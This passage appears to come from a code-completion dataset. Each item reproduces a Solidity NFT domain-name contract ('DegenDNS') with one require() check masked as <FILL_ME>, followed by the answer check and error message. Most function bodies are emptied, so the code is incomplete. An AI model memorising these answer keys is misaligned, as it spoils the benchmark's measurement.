if (keccak256(bytes(defaultNames[_msgSender()])) == keccak256(bytes(dName))) {
delete defaultNames[_msgSender()];
}
_burn(tokenId); // burn the token
--totalSupply;
emit DomainBurned(_msgSender(), dName);
}
/// @notice Default domain is the domain name that reverse resolver returns for a given address.
function editDefaultDomain(string calldata _domainName) external {
}
/// @notice Edit domain custom data. Make sure to not accidentally delete previous data. Fetch previous data first.
/// @param _domainName Only domain name, no TLD/extension.
/// @param _data Custom data needs to be in a JSON object format.
function editData(string calldata _domainName, string calldata _data) external {
}
/// @notice Mint a new domain name as NFT (no dots and spaces allowed).
/// @param _domainName Enter domain name without TLD and make sure letters are in lowercase form.
/// @return token ID
function mint(
string memory _domainName,
address _domainHolder,
address _referrer
) external payable override nonReentrant returns(uint256) {
}
function _mintDomain(
string memory _domainNameRaw,
address _domainHolder,
string memory _data
) internal returns(uint256) {
}
function _sendPayment(uint256 _paymentAmount, address _referrer) internal {
}
///@dev Hook that is called before any token transfer. This includes minting and burning.
function _beforeTokenTransfer(address from,address to,uint256 tokenId) internal override virtual {
}
// OWNER
/// @notice Only TLD contract owner can call this function.
function changeMetadataAddress(address _metadataAddress) external onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function changeMinter(address _minter) external onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function changeNameMaxLength(uint256 _maxLength) external override onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function changePrice(uint256 _price) external override onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function changeReferralFee(uint256 _referral) external override onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function disableBuyingForever() external onlyOwner {
}
/// @notice Freeze metadata address. Only TLD contract owner can call this function.
function freezeMetadata() external onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function toggleBuyingDomains() external onlyOwner {
}
// ROYALTY FEE UPDATER
/// @notice This changes royalty fee in the wrapper contract
function changeRoyalty(uint256 _royalty) external {
}
/// @notice This changes royalty fee receiver address.
function changeRoyaltyFeeReceiver(address _newReceiver) external {
}
/// @notice This changes royalty fee updater address.
function changeRoyaltyFeeUpdater(address _newUpdater) external {
}
}
| domains[dName].holder==_msgSender(),"You do not own the selected domain" | 434,730 | domains[dName].holder==_msgSender() |
"Domain minting disabled forever" | // SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.4;
import "./interfaces/IDegenDNSMetadata.sol";
import "../../interfaces/IBaseDegenDNS.sol";
import "../../lib/strings.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "base64-sol/base64.sol";
/// @title Degen Domains DNS contract
/// @author CipherLabs - forked from OG author Tempe Techie
/// @notice Dynamically generated NFT contract which represents a top-level domain
contract DegenDNS is IBaseDegenDNS, ERC721, Ownable, ReentrancyGuard {
using strings for string;
// Domain struct is defined in IBaseDegenDNS
address public immutable factoryAddress; // DegenDNSFactory address
address public metadataAddress; // DegenMetadata address
address public minter; // address which is allowed to mint domains even if contract is paused
address public royaltyFeeUpdater; // address which is allowed to change the royalty fee
address public royaltyFeeReceiver; // address which receives the royalty fee
bool public buyingEnabled = false; // buying domains enabled
bool public buyingDisabledForever = false; // buying domains disabled forever
bool public metadataFrozen = false; // metadata address frozen forever
uint256 public totalSupply;
uint256 public idCounter = 1; // up only
uint256 public override price; // domain price
uint256 public royalty; // share of each domain purchase (in bips) that goes to Degen Domains
uint256 public override referral = 6000; // share of each domain purchase (in bips) that goes to the referrer (referral fee)
uint256 public nameMaxLength = 140; // max length of a domain name
mapping (string => Domain) public override domains; // mapping (domain name => Domain struct); Domain struct is defined in IBaseDegenDNS
mapping (uint256 => string) public domainIdsNames; // mapping (tokenId => domain name)
mapping (address => string) public override defaultNames; // user's default domain
event MintingDisabledForever(address user);
constructor(
string memory _name,
string memory _symbol,
address _tldOwner,
uint256 _domainPrice,
bool _buyingEnabled,
uint256 _royalty,
address _factoryAddress,
address _metadataAddress
) ERC721(_name, _symbol) {
}
// READ
// Domain getters - you can also get all Domain data by calling the auto-generated domains(domainName) method
function getDomainHolder(string calldata _domainName) public override view returns(address) {
}
function getDomainData(string calldata _domainName) public override view returns(string memory) {
}
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
}
// WRITE
/// @notice Burn function
function burn(string calldata _domainName) external {
}
/// @notice Default domain is the domain name that reverse resolver returns for a given address.
function editDefaultDomain(string calldata _domainName) external {
}
/// @notice Edit domain custom data. Make sure to not accidentally delete previous data. Fetch previous data first.
/// @param _domainName Only domain name, no TLD/extension.
/// @param _data Custom data needs to be in a JSON object format.
function editData(string calldata _domainName, string calldata _data) external {
}
/// @notice Mint a new domain name as NFT (no dots and spaces allowed).
/// @param _domainName Enter domain name without TLD and make sure letters are in lowercase form.
/// @return token ID
function mint(
string memory _domainName,
address _domainHolder,
address _referrer
) external payable override nonReentrant returns(uint256) {
require(<FILL_ME>)
require(buyingEnabled || _msgSender() == owner() || _msgSender() == minter, "Buying domains disabled");
require(msg.value >= price, "Value below price");
_sendPayment(msg.value, _referrer);
return _mintDomain(_domainName, _domainHolder, "");
}
function _mintDomain(
string memory _domainNameRaw,
address _domainHolder,
string memory _data
) internal returns(uint256) {
}
function _sendPayment(uint256 _paymentAmount, address _referrer) internal {
}
///@dev Hook that is called before any token transfer. This includes minting and burning.
function _beforeTokenTransfer(address from,address to,uint256 tokenId) internal override virtual {
}
// OWNER
/// @notice Only TLD contract owner can call this function.
function changeMetadataAddress(address _metadataAddress) external onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function changeMinter(address _minter) external onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function changeNameMaxLength(uint256 _maxLength) external override onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function changePrice(uint256 _price) external override onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function changeReferralFee(uint256 _referral) external override onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function disableBuyingForever() external onlyOwner {
}
/// @notice Freeze metadata address. Only TLD contract owner can call this function.
function freezeMetadata() external onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function toggleBuyingDomains() external onlyOwner {
}
// ROYALTY FEE UPDATER
/// @notice This changes royalty fee in the wrapper contract
function changeRoyalty(uint256 _royalty) external {
}
/// @notice This changes royalty fee receiver address.
function changeRoyaltyFeeReceiver(address _newReceiver) external {
}
/// @notice This changes royalty fee updater address.
function changeRoyaltyFeeUpdater(address _newUpdater) external {
}
}
| !buyingDisabledForever,"Domain minting disabled forever" | 434,730 | !buyingDisabledForever |
"Buying domains disabled" | // SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.4;
import "./interfaces/IDegenDNSMetadata.sol";
import "../../interfaces/IBaseDegenDNS.sol";
import "../../lib/strings.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "base64-sol/base64.sol";
/// @title Degen Domains DNS contract
/// @author CipherLabs - forked from OG author Tempe Techie
/// @notice Dynamically generated NFT contract which represents a top-level domain
contract DegenDNS is IBaseDegenDNS, ERC721, Ownable, ReentrancyGuard {
using strings for string;
// Domain struct is defined in IBaseDegenDNS
address public immutable factoryAddress; // DegenDNSFactory address
address public metadataAddress; // DegenMetadata address
address public minter; // address which is allowed to mint domains even if contract is paused
address public royaltyFeeUpdater; // address which is allowed to change the royalty fee
address public royaltyFeeReceiver; // address which receives the royalty fee
bool public buyingEnabled = false; // buying domains enabled
bool public buyingDisabledForever = false; // buying domains disabled forever
bool public metadataFrozen = false; // metadata address frozen forever
uint256 public totalSupply;
uint256 public idCounter = 1; // up only
uint256 public override price; // domain price
uint256 public royalty; // share of each domain purchase (in bips) that goes to Degen Domains
uint256 public override referral = 6000; // share of each domain purchase (in bips) that goes to the referrer (referral fee)
uint256 public nameMaxLength = 140; // max length of a domain name
mapping (string => Domain) public override domains; // mapping (domain name => Domain struct); Domain struct is defined in IBaseDegenDNS
mapping (uint256 => string) public domainIdsNames; // mapping (tokenId => domain name)
mapping (address => string) public override defaultNames; // user's default domain
event MintingDisabledForever(address user);
constructor(
string memory _name,
string memory _symbol,
address _tldOwner,
uint256 _domainPrice,
bool _buyingEnabled,
uint256 _royalty,
address _factoryAddress,
address _metadataAddress
) ERC721(_name, _symbol) {
}
// READ
// Domain getters - you can also get all Domain data by calling the auto-generated domains(domainName) method
function getDomainHolder(string calldata _domainName) public override view returns(address) {
}
function getDomainData(string calldata _domainName) public override view returns(string memory) {
}
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
}
// WRITE
/// @notice Burn function
function burn(string calldata _domainName) external {
}
/// @notice Default domain is the domain name that reverse resolver returns for a given address.
function editDefaultDomain(string calldata _domainName) external {
}
/// @notice Edit domain custom data. Make sure to not accidentally delete previous data. Fetch previous data first.
/// @param _domainName Only domain name, no TLD/extension.
/// @param _data Custom data needs to be in a JSON object format.
function editData(string calldata _domainName, string calldata _data) external {
}
/// @notice Mint a new domain name as NFT (no dots and spaces allowed).
/// @param _domainName Enter domain name without TLD and make sure letters are in lowercase form.
/// @return token ID
function mint(
string memory _domainName,
address _domainHolder,
address _referrer
) external payable override nonReentrant returns(uint256) {
require(!buyingDisabledForever, "Domain minting disabled forever");
require(<FILL_ME>)
require(msg.value >= price, "Value below price");
_sendPayment(msg.value, _referrer);
return _mintDomain(_domainName, _domainHolder, "");
}
function _mintDomain(
string memory _domainNameRaw,
address _domainHolder,
string memory _data
) internal returns(uint256) {
}
function _sendPayment(uint256 _paymentAmount, address _referrer) internal {
}
///@dev Hook that is called before any token transfer. This includes minting and burning.
function _beforeTokenTransfer(address from,address to,uint256 tokenId) internal override virtual {
}
// OWNER
/// @notice Only TLD contract owner can call this function.
function changeMetadataAddress(address _metadataAddress) external onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function changeMinter(address _minter) external onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function changeNameMaxLength(uint256 _maxLength) external override onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function changePrice(uint256 _price) external override onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function changeReferralFee(uint256 _referral) external override onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function disableBuyingForever() external onlyOwner {
}
/// @notice Freeze metadata address. Only TLD contract owner can call this function.
function freezeMetadata() external onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function toggleBuyingDomains() external onlyOwner {
}
// ROYALTY FEE UPDATER
/// @notice This changes royalty fee in the wrapper contract
function changeRoyalty(uint256 _royalty) external {
}
/// @notice This changes royalty fee receiver address.
function changeRoyaltyFeeReceiver(address _newReceiver) external {
}
/// @notice This changes royalty fee updater address.
function changeRoyaltyFeeUpdater(address _newUpdater) external {
}
}
| buyingEnabled||_msgSender()==owner()||_msgSender()==minter,"Buying domains disabled" | 434,730 | buyingEnabled||_msgSender()==owner()||_msgSender()==minter |
"Domain name empty" | // SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.4;
import "./interfaces/IDegenDNSMetadata.sol";
import "../../interfaces/IBaseDegenDNS.sol";
import "../../lib/strings.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "base64-sol/base64.sol";
/// @title Degen Domains DNS contract
/// @author CipherLabs - forked from OG author Tempe Techie
/// @notice Dynamically generated NFT contract which represents a top-level domain
contract DegenDNS is IBaseDegenDNS, ERC721, Ownable, ReentrancyGuard {
using strings for string;
// Domain struct is defined in IBaseDegenDNS
address public immutable factoryAddress; // DegenDNSFactory address
address public metadataAddress; // DegenMetadata address
address public minter; // address which is allowed to mint domains even if contract is paused
address public royaltyFeeUpdater; // address which is allowed to change the royalty fee
address public royaltyFeeReceiver; // address which receives the royalty fee
bool public buyingEnabled = false; // buying domains enabled
bool public buyingDisabledForever = false; // buying domains disabled forever
bool public metadataFrozen = false; // metadata address frozen forever
uint256 public totalSupply;
uint256 public idCounter = 1; // up only
uint256 public override price; // domain price
uint256 public royalty; // share of each domain purchase (in bips) that goes to Degen Domains
uint256 public override referral = 6000; // share of each domain purchase (in bips) that goes to the referrer (referral fee)
uint256 public nameMaxLength = 140; // max length of a domain name
mapping (string => Domain) public override domains; // mapping (domain name => Domain struct); Domain struct is defined in IBaseDegenDNS
mapping (uint256 => string) public domainIdsNames; // mapping (tokenId => domain name)
mapping (address => string) public override defaultNames; // user's default domain
event MintingDisabledForever(address user);
constructor(
string memory _name,
string memory _symbol,
address _tldOwner,
uint256 _domainPrice,
bool _buyingEnabled,
uint256 _royalty,
address _factoryAddress,
address _metadataAddress
) ERC721(_name, _symbol) {
}
// READ
// Domain getters - you can also get all Domain data by calling the auto-generated domains(domainName) method
function getDomainHolder(string calldata _domainName) public override view returns(address) {
}
function getDomainData(string calldata _domainName) public override view returns(string memory) {
}
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
}
// WRITE
/// @notice Burn function
function burn(string calldata _domainName) external {
}
/// @notice Default domain is the domain name that reverse resolver returns for a given address.
function editDefaultDomain(string calldata _domainName) external {
}
/// @notice Edit domain custom data. Make sure to not accidentally delete previous data. Fetch previous data first.
/// @param _domainName Only domain name, no TLD/extension.
/// @param _data Custom data needs to be in a JSON object format.
function editData(string calldata _domainName, string calldata _data) external {
}
/// @notice Mint a new domain name as NFT (no dots and spaces allowed).
/// @param _domainName Enter domain name without TLD and make sure letters are in lowercase form.
/// @return token ID
function mint(
string memory _domainName,
address _domainHolder,
address _referrer
) external payable override nonReentrant returns(uint256) {
}
function _mintDomain(
string memory _domainNameRaw,
address _domainHolder,
string memory _data
) internal returns(uint256) {
// convert domain name to lowercase (only works for ascii, clients should enforce ascii domains only)
string memory _domainName = strings.lower(_domainNameRaw);
require(<FILL_ME>)
require(bytes(_domainName).length < nameMaxLength, "Domain name is too long");
require(strings.count(strings.toSlice(_domainName), strings.toSlice(".")) == 0, "There should be no dots in the name");
require(strings.count(strings.toSlice(_domainName), strings.toSlice(" ")) == 0, "There should be no spaces in the name");
require(domains[_domainName].holder == address(0), "Domain with this name already exists");
_mint(_domainHolder, idCounter);
Domain memory newDomain; // Domain struct is defined in IBaseDegenDNS
// store data in Domain struct
newDomain.name = _domainName;
newDomain.tokenId = idCounter;
newDomain.holder = _domainHolder;
newDomain.data = _data;
// add to both mappings
domains[_domainName] = newDomain;
domainIdsNames[idCounter] = _domainName;
if (bytes(defaultNames[_domainHolder]).length == 0) {
defaultNames[_domainHolder] = _domainName; // if default domain name is not set for that holder, set it now
}
emit DomainCreated(_msgSender(), _domainHolder, string(abi.encodePacked(_domainName, name())));
++idCounter;
++totalSupply;
return idCounter-1;
}
function _sendPayment(uint256 _paymentAmount, address _referrer) internal {
}
///@dev Hook that is called before any token transfer. This includes minting and burning.
function _beforeTokenTransfer(address from,address to,uint256 tokenId) internal override virtual {
}
// OWNER
/// @notice Only TLD contract owner can call this function.
function changeMetadataAddress(address _metadataAddress) external onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function changeMinter(address _minter) external onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function changeNameMaxLength(uint256 _maxLength) external override onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function changePrice(uint256 _price) external override onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function changeReferralFee(uint256 _referral) external override onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function disableBuyingForever() external onlyOwner {
}
/// @notice Freeze metadata address. Only TLD contract owner can call this function.
function freezeMetadata() external onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function toggleBuyingDomains() external onlyOwner {
}
// ROYALTY FEE UPDATER
/// @notice This changes royalty fee in the wrapper contract
function changeRoyalty(uint256 _royalty) external {
}
/// @notice This changes royalty fee receiver address.
function changeRoyaltyFeeReceiver(address _newReceiver) external {
}
/// @notice This changes royalty fee updater address.
function changeRoyaltyFeeUpdater(address _newUpdater) external {
}
}
| strings.len(strings.toSlice(_domainName))>0,"Domain name empty" | 434,730 | strings.len(strings.toSlice(_domainName))>0 |
"Domain name is too long" | // SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.4;
import "./interfaces/IDegenDNSMetadata.sol";
import "../../interfaces/IBaseDegenDNS.sol";
import "../../lib/strings.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "base64-sol/base64.sol";
/// @title Degen Domains DNS contract
/// @author CipherLabs - forked from OG author Tempe Techie
/// @notice Dynamically generated NFT contract which represents a top-level domain
contract DegenDNS is IBaseDegenDNS, ERC721, Ownable, ReentrancyGuard {
using strings for string;
// Domain struct is defined in IBaseDegenDNS
address public immutable factoryAddress; // DegenDNSFactory address
address public metadataAddress; // DegenMetadata address
address public minter; // address which is allowed to mint domains even if contract is paused
address public royaltyFeeUpdater; // address which is allowed to change the royalty fee
address public royaltyFeeReceiver; // address which receives the royalty fee
bool public buyingEnabled = false; // buying domains enabled
bool public buyingDisabledForever = false; // buying domains disabled forever
bool public metadataFrozen = false; // metadata address frozen forever
uint256 public totalSupply;
uint256 public idCounter = 1; // up only
uint256 public override price; // domain price
uint256 public royalty; // share of each domain purchase (in bips) that goes to Degen Domains
uint256 public override referral = 6000; // share of each domain purchase (in bips) that goes to the referrer (referral fee)
uint256 public nameMaxLength = 140; // max length of a domain name
mapping (string => Domain) public override domains; // mapping (domain name => Domain struct); Domain struct is defined in IBaseDegenDNS
mapping (uint256 => string) public domainIdsNames; // mapping (tokenId => domain name)
mapping (address => string) public override defaultNames; // user's default domain
event MintingDisabledForever(address user);
constructor(
string memory _name,
string memory _symbol,
address _tldOwner,
uint256 _domainPrice,
bool _buyingEnabled,
uint256 _royalty,
address _factoryAddress,
address _metadataAddress
) ERC721(_name, _symbol) {
}
// READ
// Domain getters - you can also get all Domain data by calling the auto-generated domains(domainName) method
function getDomainHolder(string calldata _domainName) public override view returns(address) {
}
function getDomainData(string calldata _domainName) public override view returns(string memory) {
}
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
}
// WRITE
/// @notice Burn function
function burn(string calldata _domainName) external {
}
/// @notice Default domain is the domain name that reverse resolver returns for a given address.
function editDefaultDomain(string calldata _domainName) external {
}
/// @notice Edit domain custom data. Make sure to not accidentally delete previous data. Fetch previous data first.
/// @param _domainName Only domain name, no TLD/extension.
/// @param _data Custom data needs to be in a JSON object format.
function editData(string calldata _domainName, string calldata _data) external {
}
/// @notice Mint a new domain name as NFT (no dots and spaces allowed).
/// @param _domainName Enter domain name without TLD and make sure letters are in lowercase form.
/// @return token ID
function mint(
string memory _domainName,
address _domainHolder,
address _referrer
) external payable override nonReentrant returns(uint256) {
}
function _mintDomain(
string memory _domainNameRaw,
address _domainHolder,
string memory _data
) internal returns(uint256) {
// convert domain name to lowercase (only works for ascii, clients should enforce ascii domains only)
string memory _domainName = strings.lower(_domainNameRaw);
require(strings.len(strings.toSlice(_domainName)) > 0, "Domain name empty");
require(<FILL_ME>)
require(strings.count(strings.toSlice(_domainName), strings.toSlice(".")) == 0, "There should be no dots in the name");
require(strings.count(strings.toSlice(_domainName), strings.toSlice(" ")) == 0, "There should be no spaces in the name");
require(domains[_domainName].holder == address(0), "Domain with this name already exists");
_mint(_domainHolder, idCounter);
Domain memory newDomain; // Domain struct is defined in IBaseDegenDNS
// store data in Domain struct
newDomain.name = _domainName;
newDomain.tokenId = idCounter;
newDomain.holder = _domainHolder;
newDomain.data = _data;
// add to both mappings
domains[_domainName] = newDomain;
domainIdsNames[idCounter] = _domainName;
if (bytes(defaultNames[_domainHolder]).length == 0) {
defaultNames[_domainHolder] = _domainName; // if default domain name is not set for that holder, set it now
}
emit DomainCreated(_msgSender(), _domainHolder, string(abi.encodePacked(_domainName, name())));
++idCounter;
++totalSupply;
return idCounter-1;
}
function _sendPayment(uint256 _paymentAmount, address _referrer) internal {
}
///@dev Hook that is called before any token transfer. This includes minting and burning.
function _beforeTokenTransfer(address from,address to,uint256 tokenId) internal override virtual {
}
// OWNER
/// @notice Only TLD contract owner can call this function.
function changeMetadataAddress(address _metadataAddress) external onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function changeMinter(address _minter) external onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function changeNameMaxLength(uint256 _maxLength) external override onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function changePrice(uint256 _price) external override onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function changeReferralFee(uint256 _referral) external override onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function disableBuyingForever() external onlyOwner {
}
/// @notice Freeze metadata address. Only TLD contract owner can call this function.
function freezeMetadata() external onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function toggleBuyingDomains() external onlyOwner {
}
// ROYALTY FEE UPDATER
/// @notice This changes royalty fee in the wrapper contract
function changeRoyalty(uint256 _royalty) external {
}
/// @notice This changes royalty fee receiver address.
function changeRoyaltyFeeReceiver(address _newReceiver) external {
}
/// @notice This changes royalty fee updater address.
function changeRoyaltyFeeUpdater(address _newUpdater) external {
}
}
| bytes(_domainName).length<nameMaxLength,"Domain name is too long" | 434,730 | bytes(_domainName).length<nameMaxLength |
"There should be no dots in the name" | // SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.4;
import "./interfaces/IDegenDNSMetadata.sol";
import "../../interfaces/IBaseDegenDNS.sol";
import "../../lib/strings.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "base64-sol/base64.sol";
/// @title Degen Domains DNS contract
/// @author CipherLabs - forked from OG author Tempe Techie
/// @notice Dynamically generated NFT contract which represents a top-level domain
contract DegenDNS is IBaseDegenDNS, ERC721, Ownable, ReentrancyGuard {
using strings for string;
// Domain struct is defined in IBaseDegenDNS
address public immutable factoryAddress; // DegenDNSFactory address
address public metadataAddress; // DegenMetadata address
address public minter; // address which is allowed to mint domains even if contract is paused
address public royaltyFeeUpdater; // address which is allowed to change the royalty fee
address public royaltyFeeReceiver; // address which receives the royalty fee
bool public buyingEnabled = false; // buying domains enabled
bool public buyingDisabledForever = false; // buying domains disabled forever
bool public metadataFrozen = false; // metadata address frozen forever
uint256 public totalSupply;
uint256 public idCounter = 1; // up only
uint256 public override price; // domain price
uint256 public royalty; // share of each domain purchase (in bips) that goes to Degen Domains
uint256 public override referral = 6000; // share of each domain purchase (in bips) that goes to the referrer (referral fee)
uint256 public nameMaxLength = 140; // max length of a domain name
mapping (string => Domain) public override domains; // mapping (domain name => Domain struct); Domain struct is defined in IBaseDegenDNS
mapping (uint256 => string) public domainIdsNames; // mapping (tokenId => domain name)
mapping (address => string) public override defaultNames; // user's default domain
event MintingDisabledForever(address user);
constructor(
string memory _name,
string memory _symbol,
address _tldOwner,
uint256 _domainPrice,
bool _buyingEnabled,
uint256 _royalty,
address _factoryAddress,
address _metadataAddress
) ERC721(_name, _symbol) {
}
// READ
// Domain getters - you can also get all Domain data by calling the auto-generated domains(domainName) method
function getDomainHolder(string calldata _domainName) public override view returns(address) {
}
function getDomainData(string calldata _domainName) public override view returns(string memory) {
}
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
}
// WRITE
/// @notice Burn function
function burn(string calldata _domainName) external {
}
/// @notice Default domain is the domain name that reverse resolver returns for a given address.
function editDefaultDomain(string calldata _domainName) external {
}
/// @notice Edit domain custom data. Make sure to not accidentally delete previous data. Fetch previous data first.
/// @param _domainName Only domain name, no TLD/extension.
/// @param _data Custom data needs to be in a JSON object format.
function editData(string calldata _domainName, string calldata _data) external {
}
/// @notice Mint a new domain name as NFT (no dots and spaces allowed).
/// @param _domainName Enter domain name without TLD and make sure letters are in lowercase form.
/// @return token ID
function mint(
string memory _domainName,
address _domainHolder,
address _referrer
) external payable override nonReentrant returns(uint256) {
}
function _mintDomain(
string memory _domainNameRaw,
address _domainHolder,
string memory _data
) internal returns(uint256) {
// convert domain name to lowercase (only works for ascii, clients should enforce ascii domains only)
string memory _domainName = strings.lower(_domainNameRaw);
require(strings.len(strings.toSlice(_domainName)) > 0, "Domain name empty");
require(bytes(_domainName).length < nameMaxLength, "Domain name is too long");
require(<FILL_ME>)
require(strings.count(strings.toSlice(_domainName), strings.toSlice(" ")) == 0, "There should be no spaces in the name");
require(domains[_domainName].holder == address(0), "Domain with this name already exists");
_mint(_domainHolder, idCounter);
Domain memory newDomain; // Domain struct is defined in IBaseDegenDNS
// store data in Domain struct
newDomain.name = _domainName;
newDomain.tokenId = idCounter;
newDomain.holder = _domainHolder;
newDomain.data = _data;
// add to both mappings
domains[_domainName] = newDomain;
domainIdsNames[idCounter] = _domainName;
if (bytes(defaultNames[_domainHolder]).length == 0) {
defaultNames[_domainHolder] = _domainName; // if default domain name is not set for that holder, set it now
}
emit DomainCreated(_msgSender(), _domainHolder, string(abi.encodePacked(_domainName, name())));
++idCounter;
++totalSupply;
return idCounter-1;
}
function _sendPayment(uint256 _paymentAmount, address _referrer) internal {
}
///@dev Hook that is called before any token transfer. This includes minting and burning.
function _beforeTokenTransfer(address from,address to,uint256 tokenId) internal override virtual {
}
// OWNER
/// @notice Only TLD contract owner can call this function.
function changeMetadataAddress(address _metadataAddress) external onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function changeMinter(address _minter) external onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function changeNameMaxLength(uint256 _maxLength) external override onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function changePrice(uint256 _price) external override onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function changeReferralFee(uint256 _referral) external override onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function disableBuyingForever() external onlyOwner {
}
/// @notice Freeze metadata address. Only TLD contract owner can call this function.
function freezeMetadata() external onlyOwner {
}
/// @notice Only TLD contract owner can call this function.
function toggleBuyingDomains() external onlyOwner {
}
// ROYALTY FEE UPDATER
/// @notice This changes royalty fee in the wrapper contract
function changeRoyalty(uint256 _royalty) external {
}
/// @notice This changes royalty fee receiver address.
function changeRoyaltyFeeReceiver(address _newReceiver) external {
}
/// @notice This changes royalty fee updater address.
function changeRoyaltyFeeUpdater(address _newUpdater) external {
}
}
| strings.count(strings.toSlice(_domainName),strings.toSlice("."))==0,"There should be no dots in the name" | 434,730 | strings.count(strings.toSlice(_domainName),strings.toSlice("."))==0 |
"There should be no spaces in the name" | // SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.4;
import "./interfaces/IDegenDNSMetadata.sol";
import "../../interfaces/IBaseDegenDNS.sol";
import "../../lib/strings.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "base64-sol/base64.sol";
/// @title Degen Domains DNS contract
/// @author CipherLabs - forked from OG author Tempe Techie
/// @notice Dynamically generated NFT contract which represents a top-level domain
contract DegenDNS is IBaseDegenDNS, ERC721, Ownable, ReentrancyGuard {
using strings for string;
// Domain struct is defined in IBaseDegenDNS
address public immutable factoryAddress; // DegenDNSFactory address
address public metadataAddress; // DegenMetadata address
address public minter; // address which is allowed to mint domains even if contract is paused
address public royaltyFeeUpdater; // address which is allowed to change the royalty fee
address public royaltyFeeReceiver; // address which receives the royalty fee
bool public buyingEnabled = false; // buying domains enabled
bool public buyingDisabledForever = false; // buying domains disabled forever
bool public metadataFrozen = false; // metadata address frozen forever
uint256 public totalSupply;
uint256 public idCounter = 1; // up only
uint256 public override price; // domain price
uint256 public royalty; // share of each domain purchase (in bips) that goes to Degen Domains
uint256 public override referral = 6000; // share of each domain purchase (in bips) that goes to the referrer (referral fee)
uint256 public nameMaxLength = 140; // max length of a domain name
mapping (string => Domain) public override domains; // mapping (domain name => Domain struct); Domain struct is defined in IBaseDegenDNS
mapping (uint256 => string) public domainIdsNames; // mapping (tokenId => domain name)
mapping (address => string) public override defaultNames; // user's default domain
event MintingDisabledForever(address user);
constructor(
string memory _name,
string memory _symbol,
address _tldOwner,
uint256 _domainPrice,
bool _buyingEnabled,
uint256 _royalty,
address _factoryAddress,
address _metadataAddress
) ERC721(_name, _symbol) {
}
// READ
// Domain getters - you can also get all Domain data by calling the auto-generated domains(domainName) method
function getDomainHolder(string calldata _domainName) public override view returns(address) {
}
function getDomainData(string calldata _domainName) public override view returns(string memory) {
}
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
}
// WRITE
/// @notice Burn function
function burn(string calldata _domainName) external {
}
/// @notice Default domain is the domain name that reverse resolver returns for a given address.
function editDefaultDomain(string calldata _domainName) external {
}
/// @notice Edit domain custom data. Make sure to not accidentally delete previous data. Fetch previous data first.
/// @param _domainName Only domain name, no TLD/extension.
/// @param _data Custom data needs to be in a JSON object format.
function editData(string calldata _domainName, string calldata _data) external {
}
/// @notice Mint a new domain name as NFT (no dots and spaces allowed).
/// @param _domainName Enter domain name without TLD and make sure letters are in lowercase form.
/// @return token ID
function mint(
string memory _domainName,
address _domainHolder,
address _referrer
) external payable override nonReentrant returns(uint256) {
}
function _mintDomain(
string memory _domainNameRaw,
address _domainHolder,
string memory _data
) internal returns(uint256) {
// convert domain name to lowercase (only works for ascii, clients should enforce ascii domains only)
string memory _domainName = strings.lower(_domainNameRaw);
require(strings.len(strings.toSlice(_domainName)) > 0, "Domain name empty");
require(bytes(_domainName).length < nameMaxLength, "Domain name is too long");
